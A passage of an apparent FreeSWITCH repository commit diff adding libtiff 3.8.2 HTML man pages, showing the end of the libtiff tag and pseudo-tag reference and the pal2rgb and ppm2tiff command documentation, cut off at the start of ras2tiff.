+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>used by TIFFRGBAImage support</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>YCbCrPositioning</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>531</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>tile/strip size calulcations</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>YCbCrSubsampling</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>530</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>YPosition</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>286</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>YResolution</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>283</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>used by Group 3 codec</big></p>
+</td>
+</table>
+<a name="PSEUDO TAGS"></a>
+<h2>PSEUDO TAGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>In addition to the normal</big> TIFF <big>tags the
+library supports a collection of tags whose values lie in a
+range outside the valid range of</big> TIFF <big>tags. These
+tags are termed <i>pseud-tags</i> and are used to control
+various codec-specific functions within the library. The
+table below summarizes the defined pseudo-tags.</big></p>
+<!-- INDENTATION -->
+<pre><big><i>Tag Name                Codec  R/W  Library Use/Notes
+</i></big></pre>
+</td>
+</table>
+<!-- TABS -->
+
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_FAXMODE</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>G3</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>general codec operation</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_FAXFILLFUNC</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>G3/G4</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>bitmap fill function</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_JPEGQUALITY</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>JPEG</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>compression quality control</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_JPEGCOLORMODE</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>JPEG</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>control colorspace conversions</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_JPEGTABLESMODE</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>JPEG</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>control contents of <i>JPEGTables</i> tag</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_ZIPQUALITY</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>Deflate</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/Wcompression quality level</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_PIXARLOGDATAFMT</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>PixarLog</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/Wuser data format</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_PIXARLOGQUALITY</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>PixarLog</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/Wcompression quality level</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%">
+
+<p><big>TIFFTAG_SGILOGDATAFMT</big></p>
+</td>
+<td width="8%"></td>
+<td width="6%">
+
+<p><big>SGILog</big></p>
+</td>
+<td width="53%">
+
+<p><big>R/W</big></p>
+</td>
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="21%"></td>
+<td width="8%"></td>
+<td width="6%"></td>
+<td width="53%">
+
+<p><big>user data format</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_FAXMODE</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the operation of the Group 3 codec. Possible
+values (independent bits that can be combined by
+or&rsquo;ing them together) are: FAXMODE_CLASSIC (enable
+old-style format in which the</big> RTC <big>is written at
+the end of the last strip), FAXMODE_NORTC (opposite of
+FAXMODE_CLASSIC; also called FAXMODE_CLASSF), FAXMODE_NOEOL
+(do not write</big> EOL <big>codes at the start of each row
+of data), FAXMODE_BYTEALIGN (align each encoded row to an
+8-bit boundary), FAXMODE_WORDALIGN (align each encoded row
+to an 16-bit boundary), The default value is dependent on
+the compression scheme; this pseudo-tag is used by the
+various G3 and G4 codecs to share code.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_FAXFILLFUNC</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the function used to convert arrays of black
+and white runs to packed bit arrays. This hook can be used
+to image decoded scanlines in multi-bit depth rasters (e.g.
+for display in colormap mode) or for other purposes. The
+default value is a pointer to a builtin function that images
+packed bilevel data.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_IPTCNEWSPHOTO</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Tag contaings image metadata per the IPTC newsphoto
+spec: Headline, captioning, credit, etc... Used by most wire
+services.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_PHOTOSHOP</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Tag contains Photoshop captioning information and
+metadata. Photoshop uses in parallel and redundantly
+alongside IPTCNEWSPHOTO information.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_JPEGQUALITY</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the compression quality level used in the
+baseline algorithm. Note that quality levels are in the
+range 0-100 with a default value of 75.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_JPEGCOLORMODE</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control whether or not conversion is done between
+RGB and YCbCr colorspaces. Possible values are:
+JPEGCOLORMODE_RAW (do not convert), and JPEGCOLORMODE_RGB
+(convert to/from RGB) The default value is
+JPEGCOLORMODE_RAW.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_JPEGTABLESMODE</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the information written in the
+<i>JPEGTables</i> tag. Possible values (independent bits
+that can be combined by or&rsquo;ing them together) are:
+JPEGTABLESMODE_QUANT (include quantization tables), and
+JPEGTABLESMODE_HUFF (include Huffman encoding tables). The
+default value is
+JPEGTABLESMODE_QUANT|JPEGTABLESMODE_HUFF.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_ZIPQUALITY</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the compression technique used by the
+Deflate codec. Quality levels are in the range 1-9 with
+larger numbers yielding better compression at the cost of
+more computation. The default quality level is 6 which
+yields a good time-space tradeoff.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_PIXARLOGDATAFMT</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the format of user data passed <i>in</i> to
+the PixarLog codec when encoding and passed <i>out</i> from
+when decoding. Possible values are: PIXARLOGDATAFMT_8BIT for
+8-bit unsigned pixels, PIXARLOGDATAFMT_8BITABGR for 8-bit
+unsigned ABGR-ordered pixels, PIXARLOGDATAFMT_11BITLOG for
+11-bit log-encoded raw data, PIXARLOGDATAFMT_12BITPICIO for
+12-bit PICIO-compatible data, PIXARLOGDATAFMT_16BIT for
+16-bit signed samples, and PIXARLOGDATAFMT_FLOAT for 32-bit
+IEEE floating point samples.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_PIXARLOGQUALITY</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the compression technique used by the
+PixarLog codec. This value is treated identically to
+TIFFTAG_ZIPQUALITY; see the above description.</big></p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFTAG_SGILOGDATAFMT</b></big></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p><big>Control the format of client data passed <i>in</i>
+to the SGILog codec when encoding and passed <i>out</i> from
+when decoding. Possible values are: SGILOGDATAFMT_FLTXYZ for
+converting between LogLuv and 32-bit IEEE floating valued
+XYZ pixels, SGILOGDATAFMT_16BITLUV for 16-bit encoded Luv
+pixels, SGILOGDATAFMT_32BITRAW and SGILOGDATAFMT_24BITRAW
+for no conversion of data, SGILOGDATAFMT_8BITRGB for
+returning 8-bit RGB data (valid only when decoding
+LogLuv-encoded data), SGILOGDATAFMT_FLTY for converting
+between LogL and 32-bit IEEE floating valued Y pixels,
+SGILOGDATAFMT_16BITL for 16-bit encoded L pixels, and
+SGILOGDATAFMT_8BITGRY for returning 8-bit greyscale data
+(valid only when decoding LogL-encoded data).</big></p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>All error messages are directed through the
+<i>TIFFError</i> routine. By default messages are directed
+to <b>stderr</b> in the form: <i>module: message\n.</i>
+Warning messages are likewise directed through the
+<i>TIFFWarning</i> routine.</big></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>fax2tiff</b>(1), <b>gif2tiff</b>(1),
+<b>pal2rgb</b>(1), <b>ppm2tiff</b>(1), <b>rgb2ycbcr</b>(1),
+<b>ras2tiff</b>(1), <b>raw2tiff</b>(1), <b>sgi2tiff</b>(1),
+<b>tiff2bw</b>(1), <b>tiffdither</b>(1), <b>tiffdump</b>(1),
+<b>tiffcp</b>(1), <b>tiffcmp</b>(1), <b>tiffgt</b>(1),
+<b>tiffinfo</b>(1), <b>tiffmedian</b>(1),
+<b>tiffsplit</b>(1), <b>tiffsv</b>(1).</big></p>
+<!-- INDENTATION -->
+<p><big><b>Tag Image File Format Specification &mdash;
+Revision 6.0</b>, an Aldus Technical Memorandum.</big></p>
+<!-- INDENTATION -->
+<p><big><b>The Spirit of TIFF Class F</b>, an appendix to
+the TIFF 5.0 specification prepared by Cygnet
+Technologies.</big></p>
+<!-- INDENTATION -->
+<p><big>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></big></p>
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The library does not support multi-sample images
+where some samples have different bits/sample.</big></p>
+<!-- INDENTATION -->
+<p><big>The library does not support random access to
+compressed data that is organized with more than one row per
+tile or strip.</big></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/pal2rgb.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/pal2rgb.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/pal2rgb.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/pal2rgb.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/pal2rgb.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,189 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>PAL2RGB</title>
+</head>
+<body>
+
+<h1 align=center>PAL2RGB</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>pal2rgb &minus; convert a palette color
+<small>TIFF</small> image to a full color image</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>pal2rgb</b> [ <i>options</i> ] <i>input.tif
+output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>Pal2rgb</i> converts a palette color
+<small>TIFF</small> image to a full color image by applying
+the colormap of the palette image to each sample to generate
+a full color <small>RGB</small> image.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Options that affect the interpretation of input data
+are:</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="11%"></td>
+<td width="2%">
+
+<p><b>&minus;C</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>This option overrides the default behavior of
+<i>pal2rgb</i> in determining whether or not colormap
+entries contain 16-bit or 8-bit values. By default the
+colormap is inspected and if no colormap entry greater than
+255 is found, the colormap is assumed to have only 8-bit
+values; otherwise 16-bit values (as required by the
+<small>TIFF</small> specification) are assumed. The
+<b>&minus;C</b> option can be used to explicitly specify the
+number of bits for colormap entries: <b>&minus;C 8</b> for
+8-bit values, <b>&minus;C 16</b> for 16-bit values.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Options that affect the output file format are:</p>
+</td>
+</table>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="5%">
+
+<p><b>&minus;p</b></p>
+</td>
+<td width="3%"></td>
+<td width="80%">
+
+<p>Explicitly select the planar configuration used in
+organizing data samples in the output image: <b>&minus;p
+contig</b> for samples packed contiguously, and <b>&minus;p
+separate</b> for samples stored separately. By default
+samples are packed.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="5%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="3%"></td>
+<td width="80%">
+
+<p>Use the specific compression algorithm to encoded image
+data in the output file: <b>&minus;c packbits</b> for
+Macintosh Packbits, <b>&minus;c lzw</b> for Lempel-Ziv &amp;
+Welch, <b>&minus;c zip</b> for Deflate, <b>&minus;c none</b>
+for no compression. If no compression-related option is
+specified, the input file&rsquo;s compression algorithm is
+used.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="5%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="3%"></td>
+<td width="80%">
+
+<p>Explicitly specify the number of rows in each strip of
+the output file. If the <b>&minus;r</b> option is not
+specified, a number is selected such that each output strip
+has approximately 8 kilobytes of data in it.</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="BUGS"></a>
+<h2>BUGS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Only 8-bit images are handled.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ppm2tiff.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ppm2tiff.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/ppm2tiff.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ppm2tiff.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ppm2tiff.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,141 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>PPM2TIFF</title>
+</head>
+<body>
+
+<h1 align=center>PPM2TIFF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>ppm2tiff &minus; create a <small>TIFF</small> file from
+<small>PPM, PGM</small> and <small>PBM</small> image
+files</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>ppm2tiff</b> [ <i>options</i> ] [ <i>input.ppm</i> ]
+<i>output.tif</i></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>ppm2tiff</i> converts a file in the <small>PPM,
+PGM</small> and <small>PBM</small> image formats to
+<small>TIFF.</small> By default, the <small>TIFF</small>
+image is created with data samples packed
+(<i>PlanarConfiguration</i>=1), compressed with the Packbits
+algorithm (<i>Compression</i>=32773), and with each strip no
+more than 8 kilobytes. These characteristics can be
+overridden, or explicitly specified with the options
+described below</p>
+<!-- INDENTATION -->
+<p>If the <small>PPM</small> file contains greyscale data,
+then the <i>PhotometricInterpretation</i> tag is set to 1
+(min-is-black), otherwise it is set to 2 (RGB).</p>
+<!-- INDENTATION -->
+<p>If no <small>PPM</small> file is specified on the command
+line, <i>ppm2tiff</i> will read from the standard input.</p>
+</td>
+</table>
+<a name="OPTIONS"></a>
+<h2>OPTIONS</h2>
+<!-- TABS -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="5" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;c</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Specify a compression scheme to use when writing image
+data: <b>none</b> for no compression, <b>packbits</b> for
+PackBits compression (will be used by default), <b>lzw</b>
+for Lempel-Ziv &amp; Welch compression, <b>jpeg</b> for
+baseline JPEG compression, <b>zip</b> for Deflate
+compression, <b>g3</b> for CCITT Group 3 (T.4) compression,
+and <b>g4</b> for CCITT Group 4 (T.6) compression.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;r</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Write data with a specified number of rows per strip; by
+default the number of rows/strip is selected so that each
+strip is approximately 8 kilobytes.</p>
+</td>
+<td width="0%">
+</td>
+<tr valign="top" align="left">
+<td width="10%"></td>
+<td width="3%">
+
+<p><b>&minus;R</b></p>
+</td>
+<td width="5%"></td>
+<td width="80%">
+
+<p>Mark the resultant image to have the specified X and Y
+resolution (in dots/inch).</p>
+</td>
+<td width="0%">
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>tiffinfo</b>(1), <b>tiffcp</b>(1),
+<b>tiffmedian</b>(1), <b>libtiff</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ras2tiff.1.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ras2tiff.1.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/ras2tiff.1.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ras2tiff.1.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/ras2tiff.1.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,139 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:12 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>RAS2TIFF</title>
+</head>
+<body>
+
+<h1 align=center>RAS2TIFF</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#OPTIONS">OPTIONS</a><br>
+<a href="#BUGS">BUGS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>ras2tiff &minus; create a <small>TIFF</small> file from a
+Sun rasterfile</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
